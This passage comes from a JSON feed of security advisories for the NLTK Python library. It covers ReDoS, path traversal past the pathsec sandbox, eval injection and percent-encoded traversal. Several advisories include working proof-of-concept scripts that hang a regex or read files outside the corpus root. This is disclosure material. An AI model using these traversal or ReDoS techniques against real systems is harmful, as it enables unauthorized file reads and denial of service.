SSRF filter, including the `ENFORCE` mode that NLTK's documentation recommends precisely for environments where untrusted input may reach NLTK. Deployments that adopted that boundary are not actually protected, and the `lru_cache` annotation claiming to mitigate rebinding makes the false assurance worse.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-31T16:51:29.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.6,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","references":["https://github.com/nltk/nltk/security/advisories/GHSA-qvv7-cg9c-w4x3","https://github.com/advisories/GHSA-qvv7-cg9c-w4x3"],"source_kind":"github","identifiers":["GHSA-qvv7-cg9c-w4x3","CVE-2026-12075"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-31T17:00:09.052Z","updated_at":"2026-08-14T23:00:26.859Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xdnY3LWNnOWMtdzR4M84ABg-E","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1xdnY3LWNnOWMtdzR4M84ABg-E","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.10.0","vulnerable_version_range":"\u003c= 3.9.4"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xdnY3LWNnOWMtdzR4M84ABg-E/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1mZzdmLTIzODYtODg5N84ABg-D","url":"https://github.com/advisories/GHSA-fg7f-2386-8897","title":"Natural Language Toolkit (NLTK): ReDoS in NLTK ReviewsCorpusReader FEATURES regex","description":"### Summary\n`ReviewsCorpusReader` extracts feature annotations of the form *label* followed by a bracketed signed digit (e.g. a label then `[+2]`) from each review line, using the module-level `FEATURES` regex. The feature-label sub-pattern is unbounded — an optional greedy run of word-plus-whitespace groups followed by another word, which must then be followed by a literal `[`. On a long bracket-less line the label can match from every search position to the end of the line, causing quadratic backtracking. A single crafted line in a reviews corpus hangs `reviews()`, `features()`, and `sents()`. \n\n\n### Details\nThe label alternative is a greedy, unanchored run of word-plus-whitespace groups followed by a word, which must then be followed by a literal `[`. On an input that is a long sequence of word-plus-whitespace with no bracket, at each of the *n* starting positions the engine greedily extends the label to the end of the line, only then fails to find the bracket, and backtracks the whole way. `re.findall` repeats this from every position, giving O(n²) total work. There is no exponential blow-up, but quadratic growth on an attacker-controlled line length is enough to hang the reader: a single line of ~100,000 words consumes CPU for tens of seconds to minutes.\n\n### PoC\n```\nimport multiprocessing as mp\nimport re\nimport time\n\n# --- The vulnerable regex, verbatim from nltk/corpus/reader/reviews.py L70-71 ---\nFEATURES_VULN = re.compile(r\"((?:(?:\\w+\\s)+)?\\w+)\\[((?:\\+|\\-)\\d)\\]\")\n\n# --- Bounded variant from the fix (PR #3583): cap the per-label word run.\n#     A generous bound (real feature labels are short noun phrases) makes the\n#     run linear while never affecting legitimate corpora. ---\nWORD_BOUND = 50\nFEATURES_FIXED = re.compile(\n    r\"((?:(?:\\w+\\s){0,%d})?\\w+)\\[((?:\\+|\\-)\\d)\\]\" % WORD_BOUND\n)\n\nTIMEOUT = 20.0  # seconds, per measurement\nSIZES = [1000, 2000, 4000, 8000, 16000]  # words on a single bracket-less line\n\n\ndef _bad_line(n_words):\n    \"\"\"A long line of plain words with NO trailing bracketed annotation.\"\"\"\n    return (\"word \" * n_words).rstrip()\n\n\ndef _worker(pattern_str, line, q):\n    pat = re.compile(pattern_str)\n    t0 = time.perf_counter()\n    pat.findall(line)\n    q.put(time.perf_counter() - t0)\n\n\ndef timed_findall(pattern, line, timeout=TIMEOUT):\n    \"\"\"Run pattern.findall(line) in a killable process; return seconds or None (timeout).\"\"\"\n    q = mp.Queue()\n    p = mp.Process(target=_worker, args=(pattern.pattern, line, q))\n    p.start()\n    p.join(timeout)\n    if p.is_alive():\n        p.terminate()\n        p.join()\n        return None\n    return q.get() if not q.empty() else None\n\n\ndef bench(label, pattern):\n    print(f\"\\n[{label}]  pattern: {pattern.pattern}\")\n    print(f\"  {'words':\u003e7} {'~bytes':\u003e8}   {'time':\u003e12}   {'x prev':\u003e7}\")\n    prev = None\n    for n in SIZES:\n        line = _bad_line(n)\n        t = timed_findall(pattern, line)\n        if t is None:\n            print(f\"  {n:\u003e7} {len(line):\u003e8}   {'\u003e%.0fs TIMEOUT' % TIMEOUT:\u003e12}   {'--':\u003e7}\")\n            prev = None\n        else:\n            ratio = f\"{t/prev:.1f}x\" if prev else \"--\"\n            print(f\"  {n:\u003e7} {len(line):\u003e8}   {t*1000:\u003e9.1f} ms   {ratio:\u003e7}\")\n            prev = t\n\n\ndef parity_check():\n    \"\"\"The bound must NOT change extraction on a realistic annotated line.\"\"\"\n    real = (\n        \"the picture quality[+2] and battery life[+1] are great but \"\n        \"the lens cap[-1] feels cheap and the menu system[-2] is slow\"\n    )\n    a = FEATURES_VULN.findall(real)\n    b = FEATURES_FIXED.findall(real)\n    print(\"\\n[parity] realistic annotated line — extraction must be identical\")\n    print(f\"  vulnerable regex -\u003e {a}\")\n    print(f\"  bounded   regex  -\u003e {b}\")\n    print(f\"  identical: {a == b}\")\n    return a == b\n\n\ndef main():\n    print(\"=\" * 66)\n    print(\" NLTK ReviewsCorpusReader FEATURES ReDoS PoC (quadratic backtracking)\")\n    print(\"=\" * 66)\n    print(f\" per-call timeout = {TIMEOUT:.0f}s   word bound (fix) = {WORD_BOUND}\")\n\n    bench(\"VULNERABLE  reviews.py L70-71\", FEATURES_VULN)\n    bench(\"BOUNDED     fix #3583\", FEATURES_FIXED)\n    same = parity_check()\n\n    print(\"\\n\" + \"=\" * 66)\n    print(\" Vulnerable: ~4x time per input doubling  =\u003e O(n^2) quadratic ReDoS\")\n    print(\" Bounded:    ~2x time per input doubling  =\u003e O(n)   linear, stays in ms\")\n    print(f\" Extraction parity on real annotations preserved: {same}\")\n    print(\" A single ~100k-word bracket-less review line hangs reviews()/features()/sents().\")\n    print(\"=\" * 66)\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n### Impact\nDenial of service. Processing a single crafted line through `ReviewsCorpusReader` consumes CPU quadratically in the line length, hanging the calling thread or process. An application that loads an untrusted or user-supplied reviews corpus (multi-tenant pipelines, services that accept user-provided corpora, batch or CI jobs) can be stalled by one malicious line, with no authentication and no privileges required.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-31T16:51:09.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/nltk/nltk/security/advisories/GHSA-fg7f-2386-8897","https://github.com/advisories/GHSA-fg7f-2386-8897"],"source_kind":"github","identifiers":["GHSA-fg7f-2386-8897","CVE-2026-12061"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-31T17:00:09.052Z","updated_at":"2026-08-14T23:00:26.860Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mZzdmLTIzODYtODg5N84ABg-D","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1mZzdmLTIzODYtODg5N84ABg-D","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.10.0","vulnerable_version_range":"\u003c= 3.9.4"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mZzdmLTIzODYtODg5N84ABg-D/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02aG01LWpnY3AtcDgzOM4ABg-C","url":"https://github.com/advisories/GHSA-6hm5-jgcp-p838","title":"Natural Language Toolkit (NLTK): Path Traversal in NKJPCorpusReader leads to Arbitrary File Read and bypasses the nltk.pathsec sandbox (ENFORCE=True)","description":"### Summary\n   A path-traversal vulnerability in `NKJPCorpusReader` allows an attacker who can\n   influence the `fileids` argument of its public read methods (`header`, `raw`,\n   `words`, `sents`, `tagged_words`) to read files outside the corpus root. The\n   reader builds the file path with no containment check and opens it with the\n   builtin `open()`, so it bypasses NLTK's `nltk.pathsec` sandbox — including the\n   strict `ENFORCE = True` mode that `SECURITY.md` recommends for web/multi-tenant\n   deployments. `header()` returns the parsed content of the out-of-root file to\n   the caller (arbitrary file read).\n\n   ### Details\n   `SECURITY.md` promises that file access is \"validated against allowed NLTK data\n   directories\" and that with `nltk.pathsec.ENFORCE = True` \"unauthorized file\n   access … will raise `PermissionError`.\" That guarantee is enforced via\n   `FileSystemPathPointer.open()` / `CorpusReader.open()`, which call\n   `nltk.pathsec.validate_path(...)`.\n\n   `NKJPCorpusReader` never uses that protected path. In\n   `nltk/corpus/reader/nkjp.py`:\n\n   - `add_root()` builds the path by **plain string concatenation** with no\n     normalization or containment check:\n     ```python\n     def add_root(self, fileid):          # lines 96-102\n         if self.root in fileid:\n             return fileid                # attacker-controlled value returned unchanged\n         return self.root + fileid        # plain concat, '..' not stripped\n     ```\n   - The header view appends a fixed basename and passes the string straight into\n     the corpus view (which opens it with the builtin `open()`):\n     ```python\n     class NKJPCorpus_Header_View(XMLCorpusView):   # line 181\n         def __init__(self, filename, **kwargs):\n             XMLCorpusView.__init__(self, filename + \"header.xml\", self.tagspec)  # line 189\n     ```\n   - The other modes reach the filesystem through `XML_Tool`, which uses a raw\n     `os.path.join` (not the hardened `FileSystemPathPointer.join()`) and the\n     builtin `open()`:\n     ```python\n     class XML_Tool:                                  # line 243\n         def __init__(self, root, filename):\n             self.read_file = os.path.join(root, filename)   # line 251\n         def build_preprocessed_file(self):\n             fr = open(self.read_file)                        # line 256 — pathsec never consulted\n     ```\n\n   Because `open()` is the builtin (not `PathPointer.open()`), the `pathsec`\n   sentinel is never invoked, so `ENFORCE = True` does not block the access. For\n   comparison, the safe API `CorpusReader.open()` (`nltk/corpus/reader/api.py:222`)\n   rejects `..`/absolute fileids and calls `validate_path(..., required_root=...)`\n   before opening — `NKJPCorpusReader` simply does not go through it.\n\n   ### PoC\n   Tested against `nltk==3.9.4` (latest PyPI release) and current `develop`.\n\n   ```\n   pip install \"nltk==3.9.4\"\n   python3 poc.py\n   ```\n\n   `poc.py`:\n   ```python\n   import builtins, os, shutil, tempfile, warnings\n   warnings.simplefilter(\"ignore\")\n   import nltk, nltk.pathsec as pathsec\n   from nltk.corpus.reader.nkjp import NKJPCorpusReader\n\n   print(\"nltk\", nltk.__version__)\n\n   # A legitimate, empty NKJP corpus root (what a real app has).\n   root = tempfile.mkdtemp(prefix=\"nkjp_corpus_root_\")\n   os.makedirs(os.path.join(root, \"sample\"), exist_ok=True)\n   open(os.path.join(root, \"sample\", \"header.xml\"), \"w\").write(\"\u003cx/\u003e\")\n\n   # The attacker's target: a file OUTSIDE the corpus root.\n   secret_dir = tempfile.mkdtemp(prefix=\"OUTSIDE_ROOT_\")\n   open(os.path.join(secret_dir, \"header.xml\"), \"w\").write(\n   \"\u003cteiHeader\u003e\u003cfileDesc\u003e\u003csourceDesc\u003e\u003cbibl\u003e\"\n   \"\u003ctitle\u003eSECRET-API-KEY=sk-live-DEADBEEF\u003c/title\u003e\"\n       \"\u003c/bibl\u003e\u003c/sourceDesc\u003e\u003c/fileDesc\u003e\u003c/teiHeader\u003e\")\n\n   # Enable the strict mode SECURITY.md recommends for web / multi-tenant.\n   pathsec.ENFORCE = True\n   print(\"ENFORCE =\", pathsec.ENFORCE)\n\n   # Prove the out-of-root read and that pathsec is never consulted.\n   opened = []; real = builtins.open\n   builtins.open = lambda f, *a, **k: (opened.append(str(f)), real(f, *a, **k))[1]\n\n   reader = NKJPCorpusReader(root=root + \"/\", fileids=\"sample\")\n   # Attacker-controlled `fileids`; '..' escapes the corpus root:\n   evil = root + \"/../../../../../../..\" + secret_dir + \"/\"\n   try:\n       result = reader.header(fileids=[evil])\n   finally:\n       builtins.open = real\n\n   print(\"opened outside root:\", [p for p in opened if \"OUTSIDE_ROOT_\" in p][:1])\n   print(\"disclosed content  :\", result[0][\"title\"])\n   shutil.rmtree(root, ignore_errors=True); shutil.rmtree(secret_dir, ignore_errors=True)\n   ```\n\n   Output (unmodified):\n   ```\n   nltk 3.9.4\n   ENFORCE = True\n   opened outside root: ['/tmp/nkjp_corpus_root_XXXX/../../../../../../../tmp/OUTSIDE_ROOT_YYYY/header.xml']\n   disclosed content  : SECRET-API-KEY=sk-live-DEADBEEF\n   ```\n   With `ENFORCE = True`, NLTK opened a file outside the corpus root via the\n   builtin `open()` (no `PermissionError`, no warning) and returned its content.\n\n   ### Impact\n   This is a path traversal (CWE-22) leading to arbitrary file read. Any\n   application that passes attacker-influenced values into `NKJPCorpusReader`'s\n   `fileids` (e.g. letting a user choose which corpus document to read) is\n   affected; the attacker can escape the corpus root and read files elsewhere on\n   the host, defeating the `ENFORCE=True` sandbox.\n\n   Honest scoping: `header()` discloses the content of out-of-root files named\n   `header.xml` containing NKJP header XML. `raw()`/`words()`/`sents()` also open\n   and read an arbitrary out-of-root file (proven by intercepting `open()`), but a\n   separate pre-existing bug in `XML_Tool` (writing `str` to a binary\n   `NamedTemporaryFile`) suppresses their return value on current Python, so for\n   those modes the impact is arbitrary file open/read. The attacker chooses the\n   directory freely; a fixed basename is appended per mode. The same\n   \"build-path-then-builtin-open, skipping pathsec\" anti-pattern also appears in\n   `xmldocs.py:161`, `util.py:212,215`, `crubadan.py:78,97`, `lin.py:43`,\n   `ipipan.py:191`, `pl196x.py:110` and is worth fixing as a class.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-31T16:50:55.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","references":["https://github.com/nltk/nltk/security/advisories/GHSA-6hm5-jgcp-p838","https://github.com/advisories/GHSA-6hm5-jgcp-p838"],"source_kind":"github","identifiers":["GHSA-6hm5-jgcp-p838","CVE-2026-12072"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-31T17:00:09.052Z","updated_at":"2026-08-14T23:00:26.860Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02aG01LWpnY3AtcDgzOM4ABg-C","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02aG01LWpnY3AtcDgzOM4ABg-C","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.10.0","vulnerable_version_range":"\u003c= 3.9.4"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02aG01LWpnY3AtcDgzOM4ABg-C/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS14aDk1LWY1NW0tODJmd84ABg-B","url":"https://github.com/advisories/GHSA-xh95-f55m-82fw","title":"Natural Language Toolkit (NLTK) has path traversal in FramenetCorpusReader.frame() that allows arbitrary XML file read, bypassing the nltk.pathsec sandbox (ENFORCE=True)","description":"### Summary\n`FramenetCorpusReader.frame(name)` interpolates a caller-supplied frame name into an XML file path that is read with the builtin `open()`, bypassing `CorpusReader.open()` and the `nltk.pathsec` sandbox — including strict `ENFORCE=True` mode. A `../` sequence in the name escapes the corpus root, yielding an arbitrary XML file read whose parsed content is returned to the caller.\n\n\n### Details\n`frame_by_name` builds the path by joining the corpus root, the frame directory, and the caller-supplied name with a fixed `.xml` extension, with no containment check, then constructs an `XMLCorpusView` from that **string** path. Because the view is built from a string rather than a `PathPointer`, it reads with the builtin `open()`, so `nltk.pathsec.validate_path()` is never invoked and `ENFORCE=True` does not block the access. This is the same path-traversal class previously hardened for the generic corpus readers; `frame_by_name` never goes through `CorpusReader.open()`, so that protection does not apply.\n\nThe same string-path-into-`XMLCorpusView` pattern exists in two sibling methods that take a name from corpus data rather than the immediate caller:\n- `doc()` — uses the index entry `filename` field\n- the lexical-unit file loader — uses the `lexUnit` ID attribute\n\nThese are reachable through a malicious or attacker-modified FrameNet corpus index.\n\n### PoC\n```python\n\"\"\"\n\nimport os\nimport sys\nimport tempfile\nimport warnings\nfrom pathlib import Path\n\nwarnings.filterwarnings(\"ignore\")\n\n# --- Turn the documented strict sandbox ON, before importing the reader. ---\nimport nltk.pathsec as ps\nps.ENFORCE = True\n\nimport nltk\nfrom nltk.corpus.reader.framenet import FramenetCorpusReader, FramenetError\n\nFRAME_XML = (\n    '\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\\n'\n    '\u003cframe xmlns=\"http://framenet.icsi.berkeley.edu\" ID=\"1337\" name=\"pwned\"\u003e\\n'\n    \"\u003cdefinition\u003eSECRET-OUT-OF-ROOT-CONTENT\u003c/definition\u003e\\n\"\n    \"\u003c/frame\u003e\\n\"\n)\n\nBANNER = \"\"\"\\\n===========================================================\n NLTK FramenetCorpusReader.frame() Path Traversal PoC\n nltk {ver}   |   nltk.pathsec.ENFORCE = {enforce}\n===========================================================\"\"\".format(\n    ver=nltk.__version__, enforce=ps.ENFORCE\n)\n\n\ndef build_corpus():\n    \"\"\"Minimal valid FrameNet corpus + a frame-shaped secret OUTSIDE its root.\"\"\"\n    base = Path(tempfile.mkdtemp(prefix=\"fn_poc_\"))\n    root = base / \"corpora\" / \"framenet\"\n    for d in (\"frame\", \"fulltext\", \"lu\"):\n        (root / d).mkdir(parents=True)\n    (root / \"frameIndex.xml\").write_text(\n        '\u003c?xml version=\"1.0\"?\u003e\u003cframeIndex\u003e\u003c/frameIndex\u003e'\n    )\n    (root / \"frRelation.xml\").write_text(\n        '\u003c?xml version=\"1.0\"?\u003e\u003cframeRelations\u003e\u003c/frameRelations\u003e'\n    )\n\n    # A frame-shaped XML file OUTSIDE the corpus root (the \"sensitive\" target).\n    secret = base / \"private\"\n    secret.mkdir()\n    (secret / \"secret.xml\").write_text(FRAME_XML)\n\n    return base, root, secret / \"secret.xml\"\n\n\ndef main():\n    print(BANNER)\n    base, root, secret_path = build_corpus()\n    print(f\"[*] corpus root : {root}\")\n    print(f\"[*] secret file : {secret_path}  (OUTSIDE the root)\\n\")\n\n    fn = FramenetCorpusReader(str(root), [])\n\n    # Attacker-controlled frame name climbs out of \u003croot\u003e/frame/ up to \u003cbase\u003e/private/secret.xml\n    evil = os.path.join(\"..\", \"..\", \"..\", \"private\", \"secret\")\n    print(f\"[*] calling   fn.frame({evil!r})\")\n\n    try:\n        f = fn.frame(evil)\n        definition = f[\"definition\"]\n        if \"SECRET-OUT-OF-ROOT-CONTENT\" in definition:\n            print(\"\\n  [VULN] out-of-root file was read and returned to caller\")\n            print(f\"         frame name : {evil}\")\n            print(f\"         frame ID   : {f['ID']}   name: {f['name']}\")\n            print(f\"         definition : {definition}\")\n            print(f\"\\n  -\u003e nltk.pathsec sandbox bypassed despite ENFORCE = {ps.ENFORCE}\")\n            verdict = \"VULNERABLE\"\n        else:\n            print(f\"\\n  [?] frame() returned but content unexpected: {definition!r}\")\n            verdict = \"INCONCLUSIVE\"\n    except FramenetError as e:\n        # Patched build (#3581): _reject_unsafe_path_component raises before open().\n        print(f\"\\n  [SAFE] FramenetError: {e}\")\n        print(\"         traversal rejected before any file was opened (patched)\")\n        verdict = \"NOT VULNERABLE\"\n    except Exception as e:\n        print(f\"\\n  [SAFE] {type(e).__name__}: {e}\")\n        verdict = \"NOT VULNERABLE\"\n\n    # Control: a plain absent name must fail as 'Unknown frame', NOT as a read.\n    print(\"\\n[CONTROL] benign absent name should be 'Unknown frame':\")\n    try:\n        fn.frame(\"Definitely_Not_A_Frame\")\n        print(\"  [?] unexpectedly succeeded\")\n    except Exception as e:\n        print(f\"  ok -\u003e {type(e).__name__}: {e}\")\n\n    print(\"\\n\" + \"=\" * 59)\n    print(f\" Result: {verdict}  (ENFORCE = {ps.ENFORCE})\")\n    print(\"=\" * 59)\n\n\nif __name__ == \"__main__\":\n    main()\n\n```\n\n\n### Impact\n- **Out-of-sandbox arbitrary XML read.** Any application that routes attacker-influenced input into `frame()` can be made to read XML files from directories outside the intended corpus root and have their parsed content returned. `frame()` is a primary public API designed to accept a caller-specified frame name, so this is a natural exposure for any service exposing FrameNet lookups to user input.\n- **Broad read primitive.** Only a fixed `.xml` extension is appended; the attacker controls both directory and basename, giving \"read any XML file the process can read.\" Full content disclosure requires frame-shaped XML; other files yield a distinguishable parse error that acts as a file-existence/readability oracle for arbitrary paths.\n- **Silent bypass of an advertised boundary.** NLTK's `SECURITY.md` presents the `nltk.pathsec` sandbox and `ENFORCE=True` as a hard boundary for web apps, multi-tenant pipelines, and CI/CD. Because `frame_by_name` builds the path itself and reads through a string-path `XMLCorpusView`, the containment guard is never called and `ENFORCE=True` does not block the read — silently, with no error or warning.\n- **Crafted-corpus reach.** Via `doc()` and the lexical-unit loader, a malicious FrameNet data directory drives the same traversal with no caller-supplied name.\n- **Sensitive targets.** Depending on deployment, readable out-of-root XML can include application configuration, data exports, and on-disk credentials stored as XML; the oracle behavior also allows filesystem mapping. Where `frame()` output is reflected to the requester, disclosure is direct and non-blind.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-31T16:50:41.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","references":["https://github.com/nltk/nltk/security/advisories/GHSA-xh95-f55m-82fw","https://github.com/advisories/GHSA-xh95-f55m-82fw"],"source_kind":"github","identifiers":["GHSA-xh95-f55m-82fw","CVE-2026-12074"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-31T17:00:09.052Z","updated_at":"2026-08-14T23:00:26.860Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14aDk1LWY1NW0tODJmd84ABg-B","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14aDk1LWY1NW0tODJmd84ABg-B","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.10.0","vulnerable_version_range":"\u003c= 3.9.4"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14aDk1LWY1NW0tODJmd84ABg-B/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04NDhjLWMyY3gtajdxeM4ABftt","url":"https://github.com/advisories/GHSA-848c-c2cx-j7qx","title":"NLTK vulnerable to Eval Injection via collocations CLI arguments","description":"NLTK (Natural Language Toolkit) before version 3.9.3 contains an eval injection vulnerability in the nltk.collocations module that allows an attacker who controls command-line arguments to execute arbitrary Python code. When collocations.py is invoked directly, the __main__ block passes command-line arguments directly to eval() as suffixes of BigramAssocMeasures without allowlist validation or sanitization, enabling an attacker to supply a Python expression that escapes the intended attribute lookup and executes arbitrary code including OS commands via the os module.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-25T00:31:47.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.5,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2025-71408","https://github.com/nltk/nltk/pull/3465","https://github.com/nltk/nltk/commit/66f14096d952ec8f04934f515e027534bd4eb0ac","https://aydinnyunus.github.io/2026/06/07/command-injection-nltk-collocations-eval","https://github.com/nltk/nltk/releases/tag/3.9.3","https://www.vulncheck.com/advisories/nltk-eval-injection-via-collocations-py-command-line-arguments","https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3657.yaml","https://github.com/advisories/GHSA-848c-c2cx-j7qx"],"source_kind":"github","identifiers":["GHSA-848c-c2cx-j7qx","CVE-2025-71408"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-08-12T20:00:08.095Z","updated_at":"2026-09-25T12:01:09.054Z","epss_percentage":0.00265,"epss_percentile":0.16365,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04NDhjLWMyY3gtajdxeM4ABftt","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04NDhjLWMyY3gtajdxeM4ABftt","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.9.3","vulnerable_version_range":"\u003c 3.9.3"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04NDhjLWMyY3gtajdxeM4ABftt/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1xNWg2LWZjZjUtNDlnOc4ABZwk","url":"https://github.com/advisories/GHSA-q5h6-fcf5-49g9","title":"Duplicate Advisory: Arbitrary File Read via Path Traversal in nltk.data.load() through Percent-Encoded Sequences","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-m42h-3232-vpv3. This link is maintained to preserve external references.\n\n## Original Description\nNLTK version 3.9.4 is vulnerable to a path traversal attack due to an incomplete fix for GitHub Issue #3504. The `_UNSAFE_NO_PROTOCOL_RE` regex in `nltk/data.py` checks for literal `../` sequences but fails to account for percent-encoded traversal sequences such as `..%2f`. The `url2pathname()` function decodes these sequences after the validation step, allowing an attacker to bypass the protection. This vulnerability enables an attacker to read arbitrary files accessible to the Python process by controlling the resource name parameter passed to `nltk.data.load()` or `nltk.data.find()`. The issue affects applications that rely on NLTK for resource loading, including NLP web applications, Jupyter notebooks, and CLI tools. The default `pathsec.ENFORCE=False` setting exacerbates the impact by not blocking the file read at the `open()` stage.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-06-30T03:37:14.000Z","withdrawn_at":"2026-08-13T20:44:55.000Z","classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2026-12243","https://huntr.com/bounties/39aa9354-54ca-4e77-96da-580eb1fe6ed1","https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-597.yaml","https://github.com/advisories/GHSA-q5h6-fcf5-49g9"],"source_kind":"github","identifiers":["GHSA-q5h6-fcf5-49g9"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-08-13T21:00:08.851Z","updated_at":"2026-08-14T23:00:09.968Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xNWg2LWZjZjUtNDlnOc4ABZwk","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1xNWg2LWZjZjUtNDlnOc4ABZwk","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c 3.10.0"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xNWg2LWZjZjUtNDlnOc4ABZwk/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wNGdxLTgzMngtZm05ds4ABYzE","url":"https://github.com/advisories/GHSA-p4gq-832x-fm9v","title":"Natural Language Toolkit (NLTK): URL-Encoded Path Traversal in nltk.data.load() Allows Arbitrary Local File Read","description":"### Summary\nnltk.data.load() in NLTK is vulnerable to path traversal via URL-encoded path separators and traversal segments when using the nltk: URL scheme. The unsafe-path regex check is performed before url2pathname() decodes the %xx sequences (a classic decode-after-check / TOCTOU-style flaw), allowing an attacker to bypass the protection documented in NLTK's SECURITY.md and read arbitrary files from the filesystem.\nWhile literal traversal strings such as ../../../etc/passwd are correctly blocked, encoded variants such as %2fetc%2fpasswd, %2e%2e%2f..., and ..%2f..%2f slip past the regex and are subsequently decoded into a real filesystem path.\n### Affected Component\nnltk/data.py — find(), normalize_resource_url(), and the _UNSAFE_NO_PROTOCOL_RE regex check.\nRelevant occurrences:\n\ndata.py L650–L653 — final path constructed from url2pathname(resource_name) after checks\ndata.py L54–L69 — _UNSAFE_NO_PROTOCOL_RE operates only on the undecoded string\ndata.py L219–L245 — normalize_resource_url() for nltk: scheme contributes to decode-after-check\ndata.py L615–L618 — defense-in-depth traversal check also operates on undecoded input\n\nRoot Cause\nThe regex _UNSAFE_NO_PROTOCOL_RE is matched against the raw resource string. Path normalization via url2pathname() happens later, so any percent-encoded / (%2f) or . (%2e) is invisible to the regex but becomes active in the final path.\n### Proof of Concept\n```\n\"\"\"\nNLTK Arbitrary File Read via URL-Encoded Path Traversal\n=======================================================\nBypasses _UNSAFE_NO_PROTOCOL_RE security regex in nltk/data.py\nby URL-encoding path separators and traversal components.\n\nAffected: NLTK \u003c= 3.9.4 (default ENFORCE=False configuration)\nCWE: CWE-22 (Path Traversal)\n\nRoot Cause:\n  nltk/data.py:find() checks resource names against a regex for\n  traversal patterns (../, leading /, etc.) BEFORE calling\n  url2pathname() which decodes %xx sequences. This is a classic\n  \"decode-after-check\" vulnerability.\n\"\"\"\n\nimport sys\nimport os\nimport warnings\n\n# Suppress NLTK security warnings for clean PoC output\nwarnings.filterwarnings(\"ignore\", category=RuntimeWarning)\n\n# Setup\nsys.path.insert(0, os.path.join(os.path.dirname(__file__), \"nltk\"))\nos.makedirs(os.path.expanduser(\"~/nltk_data/corpora\"), exist_ok=True)\n\nimport nltk\nfrom nltk.pathsec import ENFORCE\n\nBANNER = \"\"\"\n===================================================\n NLTK URL-Encoded Path Traversal PoC\n Affected: nltk \u003c= 3.9.4\n Default 